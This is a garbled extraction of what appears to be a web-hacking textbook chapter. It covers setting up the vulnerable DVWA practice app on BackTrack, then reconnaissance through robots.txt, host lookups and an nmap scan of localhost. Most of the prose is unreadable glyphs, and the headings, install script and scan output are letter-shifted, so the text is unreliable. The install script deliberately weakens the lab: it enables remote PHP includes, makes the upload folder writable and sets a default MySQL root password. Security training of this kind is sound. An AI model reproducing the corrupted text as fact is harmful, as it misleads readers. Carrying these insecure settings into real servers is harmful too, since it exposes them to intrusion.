ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱȱǻǼǯȱȱȱȱȱȱǰȱȱȱȱ¢
ȱ ȱ¢ȱǰȱȱȱȱȱȱ ȱȱȱȱȱȱȱ
ȱ ȱ ¢ȱ ȱ ȱ ¢ǯȱ
ǰȱ ȱ ȱ ȱ ȱ ȱ ěǰ
ǰȱǰȱȱǰȱȱȱ¢ȱ¢ȱȱȱĴȱȱȱȱ ȱ¢
ȱȱǯȱȱȱȱȱȱěȱȱȱȱȱǰȱ ȱ
¢ȱȱȱȱ£ȱ ȱȱȱȱȱȱ¢ȱȱȱǯȱ
ȱȱȱ£ȱȱȱȱȱȱȱǯ
ȱ¢ȱȱ¢ȱȱȱ ȱȱȱȱ£ȱ ǰȱȱ
ȱ Ȃȱȱȱȱȱ¢ǰȱȱȱȱȱDZȦȦ ǯ ǯǯ
ȱȱȱ¢ǰȱȱȱ¢ȱęȱȱȱȱ ȱȱǯ
ȱ¢ȱ¢ȱȱȱȱȱȱȱȱ ȱ¢ȱȱȱȱ
ȱ ȱȱȱȱȱ ȱȱǯ
ȱ ȱ ¢ȱ ȱ ȱ ¢ȱ ȱ ǰȱ ȱ ȱ ȱ ȱ ¢ȱ £
ȱȱ¢ȱȱȱ ǯȱȱ¡ȱȱȱȱȂȱȱ
ȱȱ¢ȱȱȱǰȱǰȱȱȱȱ¢ȱ£ȱ¢ǯ
ȱ ȱ ǰȱ Ȃȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ǻǼȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǻĴǼǯ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ¡ȱǰȱȱȱDZȦȦ ǯȬ¡ǯȦ Ȧǯ
¢ǰȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ¢Ȭȱ
¢ǯȱȱȱ ¢ȱěȱȱȱȱȱȱȂȱȱ
ȱȱȱȱȱ
ȱ¡ȱȱȱȱȱ ȱ¢ǯȱ
ǰȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ
Ȭȱ ȱ ȱ ǰȱ ȱ ǰȱ ȱ ǰȱ ££ǰ
ȱǰȱ¡ǰȱȱ¢ȱȱȱǯȱȱ¢ȱȱ
ȱȱȱȱȱȱȱ ȱȱȱȱȱȱȱ¢
ȱǯ
7DUJHW:HE$SSOLFDWLRQ
ȱȱȱ ȱǻ Ǽȱ ȱȱȱȱȱȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱDZȦȦ ǯ ǯǯȦǯȱ ȱ ȱ
Ȧ¢ ȱ ȱȱȱȱȱ¢ȱȱȱȱ¢ȱȱ
¢ȱȱȱȱȱȱȱȱȱȱȱǯȱ Ȃȱȱȱȱȱ
ȱȱȱȱȱȱȱ ȱǯ
ǰȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ǰȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ¢
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ęȱ ȱ ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ
ȱ¢ǰȱȱȱȱȱęȱ¢ȱȱ ȱȱ
ȱȱȱ ȱǯ
ȱȱǰȱ ȱ ȱȱȱ ȱ¢ȱȱȱȱ¢ȱȱȱ
ȱ ȱDZȦȦȱ ȱ ȱ ŗŘŝǯŖǯŖǯŗȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ǻ Ǽȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ¢ȱ
ȱ¢ȱ¢ȱȱȱȱȱȱ ȱȱȱ¢ȱǯ
,QVWDOOLQJ7KH7DUJHW:HE$SSOLFDWLRQ
ȱȱȱȱȱȱȱȱǰȱ ȱęȱȱȱ ȱȱ
ȱȱęȱȱȱȱȱ ȱȱ ȱǯȱȱ ȱȱ¢
ȱȱȱȱȱȱȱǯ
ŗǯȱ ȱȱȱȱȱȱDZȦȦ ǯȬ
¡ǯȦ Ȧǯ
Řǯȱ¡ȱǯȱŝ£ȱȱȱȱȱȱǯ
řǯȱȱȱȱȱ¢ȱȬȱȱǯ¡ȱȱȱȱȱǯ
ȱǰȱȱȱȱȱȱȱ
ǯ
Śǯȱȱȱȱ ȱȱȱȱȱȱ ǯ
śǯȱȱȱ¡ȱȱȱȱȱȱȱȱǻ Ǽȱȱǯ
Ŝǯȱȱȱȱ¢ȱȱȱȱȱȱȱȱȱȬȱȱ
ȱǯȱȂȱȱȱȱȱȱȱȱȱ ȱǁȱȏȱȱȱȱ ȱ
ȱŗǯŗǯȱȱȱ ȱ ȱ ȱȱȱȱǻǼȱȱȱ¢
ȱȱǷ
Appiicsiisns Places System
),*85( 2SHQLQJDWHUPLQDOLQ%DFN7UDFN
ȱ ¢ȱ ȱ ¢ȱ ȱ ȱ ǰȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ǰȱ
ȱȱ¢ȱȱȱȱ ȱȱ ȱ¢ȱȱȱ¡ȱ ȱ
ȱ¢ǯ
ȱ Ȭȱ ¢ȱ Ȃȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ Ȃ
ȱǰȱȱȱ ȱȱĴȱȱ¢ȱȱȱ
¢ȱȱ¢ǯȱȱȱȱȱȱ ȱǯ
ŗǯȱ ȱȱDZȦȦřřǯǯȦŘŖŗŗȦŖŞȦȬȬ ȬȬȬ
ǯȱȱ¡ȱǻ¢ȱȱȱȱȱȱǼȱȱ¢
ȱȱȱ ȱȱȱȱȱȱ¢ȱȱȱȱ
řřǯȱȱȱȱȱȱȱȱȱȱȱȱȱȱ¢ȱǯ
Řǯȱȱȱ¢ȱȱȱȱȱ ȱǛȦȦȱȱȱ ȱȱ
ȱȱ ȱȱȱǷȧǯ
řǯȱȱȱ¡ȱȱȱȱ¢ȱȱȱȱȱ
ǯ
Śǯȱȱȱȱȱȱȱȱȱȏǯȱȱȱȱ¢ȱ
ȱȱȱŗǯŘǯ
'Unsaved Document l X
if/bin/fcash
echo -e
w-hrt -g«* in jrn Vul narahl H0h Ann Tnsraller s.i'i'lnt M"
ech:
eefi
ecfic
* Save As.,,
Name: DWVAjnstall.stÿ
ecfic
td t Save in folder: jurnot v
ichc
),*85( 6DYLQJWKH'9:$LQVWDOOVFULSWLQWKHURRWGLUHFWRU\
śǯȱȱȱȱ¡ǯ
Ŝǯȱȱȱȱȱȱȱȱȱȱ¢ȱȱȱȱȱȱȱ¢ǯ
ŝǯȱ¡ȱȱȱȱ¢ȱȱȱȱȏǯȱȱȱ
ǯȱȱȱȱȱȱ ȱȱ ȱȱȱȱȱ
ȱ ȱȱȱȱȱȱ ȱȱ ȱ¢
ǯ
&RQILJXULQJ7KH7DUJHW:HE$SSOLFDWLRQ
ȱ ȱ ȱ ¢ȱ ǰȱ ȱ ȱ ȱ ȱ ȱ ȱ
£ȱȱ ȱDZ
ŗǯȱȱȱȱ ȱȱȱȱȱ ȱ ȱȱ ȱ
ȱŗǯřǯ
DV/WAy
Username
admin
PjlUfrOM
ll
M
Login
),*85( /RJJLQJLQWR'9:$DVDQDSSOLFDWLRQDGPLQLVWUDWRU
ȱ ȱ ȱ ŗŘŝǯŖǯŖǯŗȱ ǻȱ ȱDzȱ ȱ ȱ ȱ ȱ ¢ȱ
Ǽǯ
Řǯȱȱȱȱȱȱȱ ȱȱȱ¡ȱȱ¢ȱȱȱȱ
¢ȱȱǯȱȱȱȱ¢ȱǰȱȱ
ȱȱ ȱȱȱǯ
řǯȱȱ ȱŗŘŝǯŖǯŖǯŗȱȱȱȱ ȱȱȱȱȱȱ ȱǯ
Śǯȱȱȱȱȱȱǯ
śǯȱȱȱȱȦȱȱȱȱȱȱȱȱȱȱȱ
ȱȱ¡ȱȱ ȱȱȱŗǯŚǯ
if the database already exists. it wiil&e cleared and the data win t* reset
setup successful!
),*85( &RQILUPDWLRQWKDWWKHLQLWLDOGDWDEDVHVHWXSFRPSOHWHGVXFFHVVIXOO\
Ŝǯȱȱȱȱ¢ȱȱȱȱȱȱ ȱȱȱȬ ȱȱ
ȱȱȱŗǯśǯ
DWVA Security 1
Script Security
SscunLy Level 1$ currently low
10* _* $L*fnit
),*85( &RQILUPDWLRQWKDWWKHLQLWLDOGLIILFXOW\VHWXSFRPSOHWHGVXFFHVVIXOO\
ŝǯȱȱȱȱȱȱȱȱȱ¢ȱȱȱȱȱȱ
¡ǯȱȱȱ¡ȱȱȱ¢ȱȱ¢ǰȱȱȱȱȱȱȱ
¢ȱǷ
ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ Ĵȱ ȱ ȱ
ǯȱȱȱȱ¢ȱȱȱȱȱęȱȱ¢ȱȱȱȱ
¢ǯȱ ȱȱȱ¢ȱȱȱ ȱȱȱ¢ȱȱ¢ȱ ȱȱȱȱǯ
ǰȱ¢ȱȱȱȱǰȱȱȱȱȱ¢ȱ ȱ¢ȱǯȱ ȱ¢ȱȱ
ȱ ȱȱȱȱȱ¢ȱȱǻȱȱ¢ȱȱǼǰȱ¢ȱȱ¢
ȱȱȱȱȱȱ¢ȱǯȱ Ȃȱ¢ȱ ȱȱȱ¢ȱȱ
ȱȱ¢ȱȱȱ¡ȱ ȱȱȱ¢ȱ
ǯȱ ȱ Ȃȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȱȱȱȱ¢Ƿ
'9:$,QVWDOO6FULSW
ELQEDVK
HFKRH?Q
HFKRH'DPQ9XOQHUDEOH:HE$SS,QVWDOOHU6FULSW
HFKRH
HFKR&RGHG%\7UDYLV3KLOOLSV
HFKR:HEVLWHKWWSWKHXQOWEORJVSRWFRP
HFKRHQ?Q>
@&KDQJLQJGLUHFWRU\WRYDUZZZ
FGYDUZZZ!GHYQXOO
HFKRH'RQH?Q
HFKRQ>
@5HPRYLQJGHIDXOWLQGH[KWPO
UPLQGH[KWPO!GHYQXOO
HFKRH'RQH?Q
HFKRQ>
@&KDQJLQJWR7HPS'LUHFWRU\
FGWPS
HFKRH'RQH?Q
HFKR>
@'RZQORDGLQJ'9:$
ZJHWȱKWWSGYZDJRRJOHFRGHFRPILOHV'9:$]LS
HFKRH'RQH?Q
HFKRQ>
@8Q]LSSLQJ'9:$
XQ]LS'9:$]LS!GHYQXOO
HFKRH'RQH?Q
HFKRQ>
@'HOHWLQJWKH]LSILOH
UP'9:$]LS!GHYQXOO
HFKRH'RQH?Q
HFKRQ>
@&RS\LQJGYZDWRURRWRI:HE'LUHFWRU\
FS5GYZD
YDUZZZ!GHYQXOO
HFKRH'RQH?Q
HFKRQ>
@&OHDULQJ7HPS'LUHFWRU\
UP5GYZD!GHYQXOO
HFKRH'RQH?Q
HFKRQ>
@(QDEOLQJ5HPRWHLQFOXGHLQSKSLQL
FSHWFSKSDSDFKHSKSLQLHWFSKSDSDFKHSKSLQL
VHG H
VDOORZBXUOBLQFOXGH 2IIDOORZBXUOBLQFOXGH 2Q
HWFSKSDSDFKHSKSLQL!HWFSKSDSDFKHSKSLQL
UPHWFSKSDSDFKHSKSLQLHFKRH'RQH?Q
HFKRQ>
@(QDEOLQJZULWHSHUPLVVLRQVWRYDUZZZKDFNDEOHXSORDG
FKPRGYDUZZZKDFNDEOHXSORDGV
HFKRH'RQH?Q
HFKRQ>
@6WDUWLQJ:HE6HUYLFH
VHUYLFHDSDFKHVWDUW !GHYQXOO
HFKRH'RQH?Q
HFKRQ>
@6WDUWLQJ0\64/
VHUYLFHP\VTOVWDUW !GHYQXOO
HFKRH'RQH?Q
HFKRQ>
@8SGDWLQJ&RQILJ)LOH
FSYDUZZZFRQILJFRQILJLQFSKSYDUZZZFRQILJFRQILJLQFSKS
VHG H
V
?
?
?
WRRU
?
YDUZZZFRQILJFRQILJLQFSKS !
YDUZZZFRQILJFRQILJLQFSKS
UPYDUZZZFRQILJFRQILJLQFSKS
HFKRH'RQH?Q
HFKRQ>
@8SGDWLQJ'DWDEDVH
ZJHW SRVWGDWD FUHDWHBGE &UHDWH 5HVHW 'DWDEDVH
KWWSVHWXSSKS !GHYQXOO
P\VTO X URRW SDVVZRUG
WRRU
H
XSGDWH GYZDXVHUV VHW DYDWDU
KDFNDEOHXVHUVJRUGRQEMSJZKHUHXVHU JRUGRQE
HFKRH'RQH?Q
HFKRHQ>
@6WDUWLQJ)LUHIR[WR'9:$?Q8VHU1DPHDGPLQ?Q3DVVZRUGSDVVZRUG
ILUHIR[KWWSORJLQSKS !GHYQXOO
HFKRH?Q'RQH?Q
HFKRH>?>P
?>P@'9:$,QVWDOO)LQLVKHG?Q
& + $3 7 ( 5
ȱȱ
&KDSWHU5XQGRZQ
Ŷȱȱȱ¢ȱ ȱȱȱǯ¡
Ŷȱȱȱ ȱDZȱȱȱ ȱȱ ȂȱǛŗȱȱ
Ŷȱ¢ȱȱ ȱȱȱDZȱȱȱȱȱ
Ŷȱ¡ȱ ȱDZȱȱȬ¢ȬȱȱȱȂȱ¡
,QWURGXFWLRQ
ȱȱȱȱȱȱȱȱȱȱ ȱ¢ȱȱȃ ȱǯȄ
ȱȱǰȱȱȱȱęȱȱȱȱȱ¢ȱȱȱȱȱȱȱ
Ȭ ȱȱȱȱȱ ¢ȱ£ȱȱȱǯȱ ȱȱȱȱ
ȱȱȱȱȱȱȱȱȱȱǷ
¢ǰȱ ȱȱȂȱȱȱȱȱǰȱȱȱȱȱ
ȱ ȱ ȱ ¢ȱ ¢ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǯȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢DZ
ȱ ȱ ȱ ǰȱ ǰȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ¢ȱ ¢
¡ǯȱ ȱȱȱȱ¢ȱȱȱȱȱȱȱǰȱ¢
ȱ ęȱ ȱ ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ȃ ȱ ȱ ¢
ȄȱǷ
ȱȱȱȱȱȱȱȱȱȱǰȱȱ
ȱ ȱ ȱ ¢ȱ ěȱ ȱ ȱ ȱ ȱ ę¢ȱ ȱ ȱ ȱ ǯ
ȱ ȱ ȱ ȱ ȱ ¢ȱ ¢ȱ ¢ȱ ȱ ȱ ȱ
ȱ ǯȱ ȱ ȱ ȱ ǰȱ ȱ ǰȱ ¢ȱ ǰȱ
¡ȱ ȱȱȱ ȱȱȱȱ ȱȱȱǯ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǯ¡ȱ ęȱ ȱ ȱ ȱ ȱ
Ĵȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱǯȱȱȱȱȱȱȱ ȱȱȱȱ ȱ
ȱȯȱ ȱȱȱȱȱȱȱȱȱ ȱ ȱ Ƿȱȱ ȱ
ȱ ȱ ęȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
¢ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȱ ǰȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǯ
ȂȱȱǷ
5HFRQQDLVVDQFH
ȱ ȱ ȱ ȱ ǻȱ ȱ ȱ ȱ ȱ ȱ Ǽǰȱ ¢
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ Dzȱ
ȱ ¢Dzȱ ȱ ȱ ȱ Dzȱ ȱ ȱ Dzȱ ȱ Dzȱ
ǯȱ ȱ ¢ȱ ȱ ¢ȱ ȱ ȱ ȱ ǰȱ Ȃȱ ȱ ęȱ ȱ ȱȱ
ȱ ȱ ȱ ȱ Ȃȱ ȱ ȱ ǻȱ ȱ Ǽȱ ȱ ȱ ȱ
ǯ¡ȱȱȱȱȱȱȱȱǯ
ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ Ȭȱ Ĵǯ
ȱ ȱ ȱ ȱ ¢ȱ Ȭǰȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢
ȱ ȱ Ĵǰȱ ȱ ȱ ¢ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ
¢ȱȱ¢ǯȱ ȱ¢ȱȱ¢ȱǰȱȱȱ ȱȱȱ¢Ȃȱȱȱ
ȱ ȱ ȱ ȱ ǰȱ ȱ ǰȱ ȱ ǰȱ ȱ ȱ ¢
ǯȱ ȱ ¢Ȃȱ ȱ ȱ ȱ ȱ ǰȱ Ȃȱ ¢ȱ ȱ ȱ ȱ
ȱȱ ȱȱȱȱȱ¢ȱ ȱȱȱȱȱȱȱęȱȱȱ¢
ǯ
/HDUQLQJ$ERXW7KH:HE6HUYHU
ȱȱȱȱ ȱȱȱȱȱȱȱȱȱȱȱ
ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ
¢ȱȱȱ ǯȱ ȱǰȱȱȱȱ ȱȱȱ ǯȱǰȱ
ȱȱęȱȱ ȱȂȱ¡ȱ ȱȱȱȱ ȱȱȱǯȱȂȱ¢
ȱ ȱȱȱȱȱȱ ȱǰȱȱȱ DZȦȦ¢ǯǰȱ ȱ Ȃ
ȱȱȱȱ ȱǯȱ ȱȱȱ¢ȱȱ¡ȱȱȱȱ¢ȱ
¢ȱȱǰȱ ȱȱ ȱȱȱȱȱȱȱȱȱ ȱǯȱ
ȱȱ¢ȱȱȱ ȱȱȱȱ ȱǰȱȱ¢ȱȱȱ
ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ
ǯȱȱȱȱȱȱȱ ȱǰȱȱȱ KRVWȱȱȱȱ
ǯ
KRVWV\QJUHVVFRP
ȱȱȱȱ ȱǰȱ ȱȱȱ¡ȱ ȱȱ
ȱ ȱ ȱ¢ȱǻǯǼȱȱȱȱęȱ¢ǯȱȱȱ¢ȱȱ
ȱȱȱȱȱȱȱȱȱȱǯ
GVXHGXKDVDGGUHVV
GVXHGXPDLOLVKDQGOHGE\GVXPPGVXHGX
ȱȱȱȱȱ ȱȱ¢ȱȱ¢ȱȱȱDZȦȦ ǯǯȦǯ
ȱ ȱ ȱȱȱȱȱȱ ȱȱȱȱȱȱȱ
ȱȱȱ ȱȱȱȱȱ ȱǯȱ ȱȱȱȱȱ¢ȱȱ
ȱȱ ȱȱȱȱ ȱǰȱȱȱ ȱȱ¢ȱȱȱ ȱ
ȱȱ¢ȱȱȱȱȱ ȱȱȱŘǯŗǯ
¢ȱȱȱ ȱȱȱȱȱȱȱȂȱȱȱ
ȱȱǰȱ ȱȱȱ ȱ¢ǯȱȱȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ǰȱ ¢ȱ ȱ ȱ
ȱ ȱ ȱ ȱDZȦȦ¢ǯȦȱ ȱ ęȱ ȱ ȱ ȱ
ȱ ȱ ęȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢
ȱ ȱ ȱ ȱ ǯȱ ¢ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ¢ȱ ¢ȱ ȱ ȱ ȱ ȱ
ȱȱȱǯ
DAKOTA STATE
TTCMSMOUir. WE'RE SETUR,
),*85( 8VLQJDQ,3DGGUHVVWRUHDFKWKHWDUJHW
7KH5RERWV7[W)LOH
ȱ ¢ȱȱȱȱ Ȃȱȱȱȱ ȱȱȱȱ ȱȱȂ
ǯ¡ȱǯȱȱǯ¡ȱęȱȱȱȱȱȱȱȱęȱȱȱ ȱȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¡ȱ ǯȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱȱȱȱ¢ȱ¢ȱ¢ȱ¢ȱȱȱȱȱ ȱ
ǯȱȱ ȱ ȱȱȱ ȱȱ¡ȱǻǼȱȱȱęȱ
ȱȱ¢ȱȱȱȱȱȱȱ¢ǯ
ȱ ȱ ǰȱ ȱǯ¡ȱęȱȱȱȱȱȱ¢ȱȱȱ
¢ȱ ȱȂȱǯ¡ȱęȱȱȱȱȱȱ ȱ¢ȱ¢ȱȱȱȱ
ǯȱ
ȱ ȱ ȱ ¡ȱǯ¡ȱ ęȱ ȱ ¢ȱ ȱ ¢ȱ ȱ ¢ȱ ȱ ¢
ȱ¢ȱ¢ȱȱȦǯ¡ȱȱȱȱǯ
8VHUDJHQW
'LUHFWRULHV
'LVDOORZPRGXOHV
'LVDOORZSURILOHV
'LVDOORZVFULSWV
'LVDOORZWKHPHV
)LOHV
'LVDOORZ&+$1*(/2*W[W
'LVDOORZFURQSKS
'LVDOORZ,167$//P\VTOW[W
'LVDOORZ,167$//SJVTOW[W
'LVDOORZLQVWDOOSKS
'LVDOORZ,167$//W[W
'LVDOORZ/,&(16(W[W
'LVDOORZ0$,17$,1(56W[W
'LVDOORZXSGDWHSKS
'LVDOORZ83*5$'(W[W
'LVDOORZ[POUSFSKS
3DWKVFOHDQ85/V
'LVDOORZDGPLQ
'LVDOORZORJRXW
'LVDOORZQRGHDGG
'LVDOORZVHDUFK
'LVDOORZXVHUUHJLVWHU
'LVDOORZXVHUSDVVZRUG
'LVDOORZXVHUORJLQ
3DWKVQRFOHDQ85/V
'LVDOORZ"T DGPLQ
'LVDOORZ"T ORJRXW
'LVDOORZ"T QRGHDGG
'LVDOORZ"T VHDUFK
'LVDOORZ"T XVHUSDVVZRUG
'LVDOORZ"T XVHUUHJLVWHU
'LVDOORZ"T XVHUORJLQ
ȱǯ¡ȱȱȱȱȱȱȱȱDZ
ŗǯȱ
Řǯȱ
řǯȱȱǻȱǼ
ŚǯȱȱǻȱȱǼ
ȱȱȱȱȱȱȱ¢ȱȱ¢ȱȱȱȱ¢ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǰȱȱ ȱ ȱ ¡ǰȱ ȱ ȱ
¢ȱȱȱǯȱȱ¢ȱȱȱȱȱȱȱȱȱǰȱ
ȱȱȱȱȱȱȱȱ¢ȱȱȱȱǻǼȱȱ ȱ
ǯȱȱȱȱȱ ȱȱȬ¡¢ǯ
¢ȱ ȱȱȱȱȱǯ¡ȱęȱȱȱȱ¢ȱ ȱ ȱ
¢ȱ¢ȱ¡ȱȱȱǰȱȱǰȱęǰȱȱǷȱȱȱȱ
ȱȱȱ ȱȱȱȱ¢ȱ¡ȱ ȱǯȱȱȱ¢ȱ
ȱ ȱȱȱȱȱ¢ȱ¢ȱȱȱȱȱ ȱȱ ȱ
ȱȱǯȱȱ ǰȱȱȱ¢ȱȱ¢ȱDZȦȦ Ȧǰȱȱ
¡ȱȂȱ¢ȱȱȱȱȱȦȦ Ȧǯ
ȱȱȱȱ¢ȱȱȱȱ ȱ ȱȱ¢ȱ ȱȱ
ȱ ȱ ȱ ¢ǯȱ ȱ ȱ ȱ ǰȱ ȱ ¢ȱ ȱ ǰȱ ¢ȱ
ȱȱȱȱȱȱȱǯ¡ȱȱ ȱȱ¢ȱȱȱȱ¢
ȱȱȱȱȱ ȱǯȱ ǰȱ¢ȱȱ¢ȱȱ
ȱ ȱǯ¡ȱ ęȱ ȱ ȱ ǯȱ ȱǯ¡ȱ ęȱ ȱ ȱ ȱ
ȱ ȱ ǰȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱȱȱǯ
3RUW6FDQQLQJ
ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ǯȱ ȱǰȱęȱȱ ȱȱȱȱȱȱȱȱȱ
ȱȱȱǯȱȱȱȱȱȱȱ¢ȱȱȱ ȱ¢ȱȱ
ǰȱ ȱ Ȃȱ ȱ ȱ ǰȱ ȱ ǰȱ ȱ ȱ ǯȱ ȱ ȱ
¢ǰȱ ȱ ȱ ȱ Ĝȱ ȱ ȱ ȱ ¡ȱ ¢ȱ ȱ ȱ ȱ ǯȱ
¡ǰȱȱȱȱȱǰȱ ȱȱȱȱǰȱȱȱȱ
ȱ ǯȱ ȱ ȱ ȱ ¡ȱ ȱ ȱ ȱ ȱ ȱ ǰȱ ȱ ȱ ¡ȱ
ȱȱȱȱȱȱȱǯȱ ȂȱĴ¢ȱȱȱ
ȱĜȱȱ
ȱŞŖȱȱ
ȱĜȱȱȱȱŚŚřǯȱ ǰȱȱ ȱęȱȱŞŖȱȱŚŚřȱǰȱ ȱȱ
ȱ ȱ ȱ
ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ
ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
DZ
ŗǯȱȱȱȱǵ
Řǯȱȱȱȱȱȱȱǵ
řǯȱȱȱȱȱȱȱǵ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǰȱ ȱ ȱ ȱ ȱ
ȱȱǯ
1PDS
ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱǰȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱȱȱDZȦȦǯǯȱȱȱ¢ȱ ȱȃ¢Ȅȱ¢ȱ
ŗşşŝǰȱȱ ȱ ȱ ȱ ȱ ȱ ȱ Ȃȱ ȱ ȱ ȱ ȱ
¢ȱȱ¢ȱȱȱ¡ǯȱȱȱȱȱȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ Ŝǰȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢
ȱȱȱ ȱǯ
8SGDWLQJ1PDS
ȱ¢ȱȱȱ ȱǰȱȱȱȱ¢Ȃȱȱȱȱȱȱ¢
ȱȱȱȬȱȱȱȱǯȱ ȱ¢ȱȱȱȱȱŜȱȱǰ
¢ȱ ȱ ȱ ȱǯȱ ȱ ȱ ȱ ȱ ǰȱ ȱ ȱ ȱ
ȱȱȱȱȬȱȱȱǯȱȱȱȱ¢ȱȱ
ȱ Ŝȱ ȱ ǰȱ ¢ȱ ȱ ȱ ȱ ȱȱ Ȭȱ ȱ ȱ ȱ
ǯ
5XQQLQJ1PDS
ȱȱȱȱ¢ȱȱȱȱ ȱȱȱȱȱ¢ǯȱ
¢ȱ ȱȱȱȱȱȱ ȱȱȱ¢ȱȱȱȱȱȱȱ
ȱ ¢ȱ ǻęȱ ȱ ȱ ȱ ȱ ȱ Ǽȱ ȱ ȱ Ĵȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǰȱ ǰȱ ȱ
ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ȱȱ ȱ ȱ ȱ ȱ ȱ ȱ Ȃ
ȱȱȱȱǻŗŘŝǯŖǯŖǯŗǼǯȱȱȱǰȱȱȱ ȱȱǯ
QPDSV92S
Ȃȱȱȱȱȱȱȱȱȱ¢ȱȱǰȱȱ ȱȱȱ
ȱȱȱ¢ȱȱǯ
ŶȱȱȮȱȱȱȱȱȱȱȱȱ ȱȱȱȱ
ȱȱȱǯ
ŶȱȱȮȱȱȱȱȱȱ¢ȱ ȱȱȱȱ
ȱ¢ȱȱǯ
ŶȱȱȬȬȱȱ ȱ ȱȱȱǯ
ŶȱȱŗŘŝǯŖǯŖǯŗȱȱȱȱȱȱȱǯ
ȱ ȱȂȱȱȱ ȱȱęȱȱȱȱ¢ȱ
ȱ ȱȱȱȱȱȱȱǯȱȱȱȱȱȱȱ
ȱȱȱȱȱȱȱȱȱȬȬȱȱȱȱȱŘŜŖŖ
ȱȱ¢ȱǯȱȱȱȱȱȱȱȱ ȱ ǯ
1PDSVFDQUHSRUWIRUORFDOKRVW
+RVWLVXSVODWHQF\
1RWVKRZQFORVHGSRUWV
325767$7(6(59,&(9(56,21
WFSRSHQKWWS$SDFKHKWWSG8EXQWX
WFSRSHQP\VTO0\64/XEXQWX
WFSRSHQSRVWJUHVTO3RVWJUH64/'%
WFSRSHQKWWSSUR[\%XUS6XLWH3URKWWSSUR[\
'HYLFHW\SHJHQHUDOSXUSRVH
5XQQLQJ/LQX[;_;
26&3(FSHROLQX[NHUQHOFSHROLQX[NHUQHO
26GHWDLOV/LQX[
1HWZRUN'LVWDQFHKRSV
26 DQG 6HUYLFH GHWHFWLRQ SHUIRUPHG 3OHDVH UHSRUW DQ\ LQFRUUHFW UHVXOWV DW
KWWSQPDSRUJVXEPLW
1PDSGRQH,3DGGUHVVKRVWXSVFDQQHGLQVHFRQGV
ȱ ȱ ȱ ȱ ȱ ȱ DZȱǰȱǰȱǰȱ ȱǯȱ ȱ
ǰȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ǯȱ ȱ ȱ Ĵ¢ȱ Ȭ¡¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǻ¢ȱ
